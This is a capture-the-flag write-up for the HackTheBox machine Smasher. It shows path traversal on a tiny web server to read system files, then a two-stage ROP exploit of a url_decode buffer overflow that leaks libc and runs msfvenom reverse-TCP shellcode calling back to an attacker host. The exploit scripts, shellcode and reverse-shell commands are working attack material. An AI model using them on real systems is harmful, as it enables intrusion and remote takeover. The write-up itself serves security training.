HackTheBox - Smasher (50pts)

A friend suggested this box as inspiration for a CTF challenge we were building for BalCCon. What hooked me was the idea of using a web vulnerability as an entry point into a binary exploitation challenge — it gives it a touch of real-world feel, and a more natural path to leaking libc compared to the usual "here's the libc, download it" approach.

VM Enumeration

A quick nmap scan reveals two open ports:

nmap -sC -sV 10.10.10.89
PORT     STATE SERVICE
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu
1111/tcp open  http    shenfeng tiny-web-server

The web server (shenfeng tiny-web-server) is unfamiliar. Checking what it serves:

curl -v http://10.10.10.89:1111/

Returns a file listing with a single index.html. That page contains a fake login form whose action points to index.php — a file that doesn't exist on the server. Dead end. Time to enumerate more aggressively.

A few minutes with gobuster reveals something interesting when hitting paths like //..////../etc/:

curl http://10.10.10.89:1111//etc/passwd
# root:x:0:0:root:/root:/bin/bash
# ...
# www:x:1000:1000:www,,,:/home/www:/bin/bash
# smasher:x:1001:1001:,,,:/home/smasher:/bin/bash

Path Traversal Vulnerability

The server is vulnerable to path traversal. With this, we can read arbitrary files — including the web server's own source code and binary:

curl http://10.10.10.89:1111//home/www/tiny-web-server/ | sed -e 's/<[^>]*>//g'
# tiny.c  13.2K
# tiny    44.4K
# README.md
# Makefile

Having the source will speed things up considerably.

Checking the OS version and grabbing libc for later:

curl http://10.10.10.89:1111//etc/issue
# Ubuntu 16.04.4 LTS

wget http://10.10.10.89:1111//lib/x86_64-linux-gnu/libc.so.6

Libc Inspection

file tiny
# ELF 64-bit LSB executable, x86-64, not stripped

ldd tiny
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f846ddf0000)

Not stripped — great. Checking the build flags from strings:

GNU C99 5.4.0 20160609 -mtune=generic -march=x86-64 -g -O2 -std=c99 -fno-stack-protector

-fno-stack-protector means no stack canary. Confirming with pwndbg:

pwndbg> checksec
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

ASLR is enabled (confirmed later), but NX is off — meaning we can execute shellcode directly from the stack.

Buffer Overflow

Looking at tiny.c, the path traversal lives in parse_request():

char* filename = uri;
if(uri[0] == '/'){
    filename = uri + 1;
    // no sanitization of ../
}
url_decode(filename, req->filename, MAXLINE);

The url_decode() function copies src into dest up to max bytes:

void url_decode(char* src, char* dest, int max) {
    char *p = src;
    char code[3] = { 0 };
    while(*p && --max) {
        if(*p == '%') {
            memcpy(code, ++p, 2);
            *dest++ = (char)strtoul(code, NULL, 16);
            p += 2;
        } else {
            *dest++ = *p++;
        }
    }
    *dest = '\0';
}

The problem: src is a 1024-byte buffer (MAXLINE), but dest is req->filename which is only 512 bytes:

typedef struct {
    char filename[512];   // destination
    off_t offset;
    size_t end;
} http_request;

url_decode copies up to MAXLINE (1024) bytes into a 512-byte buffer. Classic buffer overflow.

Exploitation

The overflow happens when url_decode() processes the filename from a GET request:

GET /AAAA...AAAA HTTP/1.1

The leading / is stripped before processing, so our payload starts right after it.

From the stack layout, the offset to RIP is:

0x298 - (0x90 - 0x30) = 0x238 = 568 bytes

2025-01-18_19-09-55_image.png

Proof of Concept

import struct
import socket

padding = "A" * 568
RIP = 0x424242424242

payload = padding + struct.pack("<Q", RIP)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 9999))
s.send("GET /{} \n\n".format(payload))
s.close()

In GDB, set a breakpoint right after url_decode returns:

pwndbg> b *0x000000000040178b
pwndbg> r

Hitting the breakpoint confirms 0x424242424242 on the stack, and continuing causes a segfault at that address:

2025-01-18_19-16-42_image.png

Exploitation Plan

Since ASLR is on but NX is off, the plan is:

  1. Use ROP gadgets to call write@plt and leak the address of read from the GOT
  2. Subtract the known read offset from libc to calculate the libc base address
  3. Use a push rsp; ret gadget from libc to redirect execution to shellcode on the stack
  4. Send a second payload with the shellcode and the resolved gadget address

Finding ROP Gadgets

ropper --file tiny --search "% ?di; ret"
# 0x00000000004011dd: pop rdi; ret;

ropper --file tiny --search "pop ?si"
# 0x00000000004011db: pop rsi; pop r15; ret;

ropper --file libc.so.6 --search "push rsp"
# 0x0000000000023ad1: push rsp; ret;

Finding Addresses

objdump -R tiny | grep read
# 0000000000603088 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5

readelf -s libc.so.6 | grep read@
# 891: 00000000000f7250  read@@GLIBC_2.2.5

write@plt address from the disassembly:

0x00000000004010e9 <+41>: call   0x400c50 <write@plt>

2025-01-18_19-17-16_image.png

Stage 1: Leak libc Base

import struct
import socket
import urllib

def execute_payload(payload):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.10.10.89", 1111))
    s.send("GET /{} HTTP/1.1\r\n\r\n".format(urllib.quote_plus(payload)))
    response = s.recv(4096)
    s.close()
    return response

padding   = "A" * 568
read_got  = 0x603088
write_plt = 0x400c50
read_off  = 0x0f7250

poprdiret = 0x4011dd  # pop rdi; ret
poprsiret = 0x4011db  # pop rsi; pop r15; ret
push_rsp  = 0x023ad1  # push rsp; ret (libc offset)

buf  = padding
buf += struct.pack("<Q", poprdiret)
buf += struct.pack("<Q", 0x4)          # fd = stdout
buf += struct.pack("<Q", poprsiret)
buf += struct.pack("<Q", read_got)     # address to leak
buf += struct.pack("<Q", 0xF)          # junk for r15
buf += struct.pack("<Q", write_plt)

response  = execute_payload(buf).split("File not found")[1]
read_addr = struct.unpack("<Q", response[:8])[0]
libc_addr = read_addr - read_off

print "read() is at", hex(read_addr)
print "libc base is at", hex(libc_addr)

Output:

read() is at 0x7fa328ae2250
libc base is at 0x7fa3289eb000

Stage 2: Execute Shellcode from Stack

Generate a reverse shell payload with msfvenom:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.10.13.238 LPORT=4444 \
  --bad-chars "\x00" -f python

Full exploit combining both stages:

import struct
import socket
import urllib

def execute_payload(payload):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.10.10.89", 1111))
    s.send("GET /{} HTTP/1.1\r\n\r\n".format(urllib.quote_plus(payload)))
    response = s.recv(4096)
    s.close()
    return response

def exploit(payload):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.10.10.89", 1111))
    s.send("GET /{} HTTP/1.1\r\n\r\n".format(urllib.quote_plus(payload)))

padding   = "A" * 568
read_got  = 0x603088
write_plt = 0x400c50
read_off  = 0x0f7250

poprdiret = 0x4011dd
poprsiret = 0x4011db
push_rsp  = 0x023ad1

# Stage 1: leak libc
buf  = padding
buf += struct.pack("<Q", poprdiret)
buf += struct.pack("<Q", 0x4)
buf += struct.pack("<Q", poprsiret)
buf += struct.pack("<Q", read_got)
buf += struct.pack("<Q", 0xF)
buf += struct.pack("<Q", write_plt)

response  = execute_payload(buf).split("File not found")[1]
read_addr = struct.unpack("<Q", response[:8])[0]
libc_addr = read_addr - read_off
print "libc base is at", hex(libc_addr)

# Stage 2: shellcode execution via push rsp
gadget = libc_addr + push_rsp

# Shellcode from msvenom
shellcode = "\x48\x31\xc9\x48\x81\xe9\xef\xff\xff\xff\x48\x8d\x05"
shellcode += "\xef\xff\xff\xff\x48\xbb\xc7\xa4\xa1\x8a\x02\xe7\x6d"
shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += "\x8f\x95\x5e\xe0\x0b\xbf\xf4\xad\xd7\xec\x28\x5c\x4f"
shellcode += "\xd6\xa4\x71\xe5\xe5\xfb\x38\x05\xe8\x68\x53\x42\x64"
shellcode += "\xd9\xd8\x68\xed\x2c\x42\x91\xf4\xcb\xa3\x5a\x7e\x07"
shellcode += "\x19\x98\xce\xa0\xd4\x0d\xe2\x25\x9e\x07\xdc\x9a\xc2"
shellcode += "\x95\xaf\xd4\x19\xc7\xb5\xfd\x80\x08\xea\x83\x4a\x8f"
shellcode += "\x2d\x47\xe0\x12\xbd\x07\x31\x9f\xab\xa4\xd3\x4a\x62"
shellcode += "\xad\x62\xe2\xed\x5e\x43\x76\xff\x3a\x71\xe4\xfc\xcb"
shellcode += "\x8a\x68\xe2\x25\x92\x20\xec\x90\x7c\x0d\xe2\x34\x42"
shellcode += "\x98\xec\x24\x4a\x7b\x20\x07\x27\x9f\xce\xa0\xd5\x0d"
shellcode += "\xe2\x33\x41\xc8\xa1\xe9\x0f\xc2\x9f\x82\xe4\x21\xa4"
shellcode += "\xa1\x8a\x02\xe7\x6d\x1b"

buf  = padding
buf += struct.pack("<Q", gadget)
buf += shellcode
buf += 'Z' * (1024 - len(buf))
exploit(buf)

Start the Metasploit handler:

msf > use multi/handler
msf > set payload linux/x64/shell/reverse_tcp
msf > set LHOST 10.10.13.238
msf > run

Run the exploit:

python smasher_reverse_tcp.py
# read() is at 0x7fd2fce03250
# libc base is at 0x7fd2fcd0c000
[*] Command shell session 1 opened (10.10.13.238:4444 -> 10.10.10.89:36424)

2025-01-18_19-17-56_image.png

Conclusion

Shell obtained. The next stage involves a crackme.py running behind socat on 127.0.0.1:1337 — that's a separate challenge worth its own writeup.

ps aux | grep crackme.py
# smasher 714 socat TCP-LISTEN:1337,... EXEC:/usr/bin/python /home/smasher/crackme.py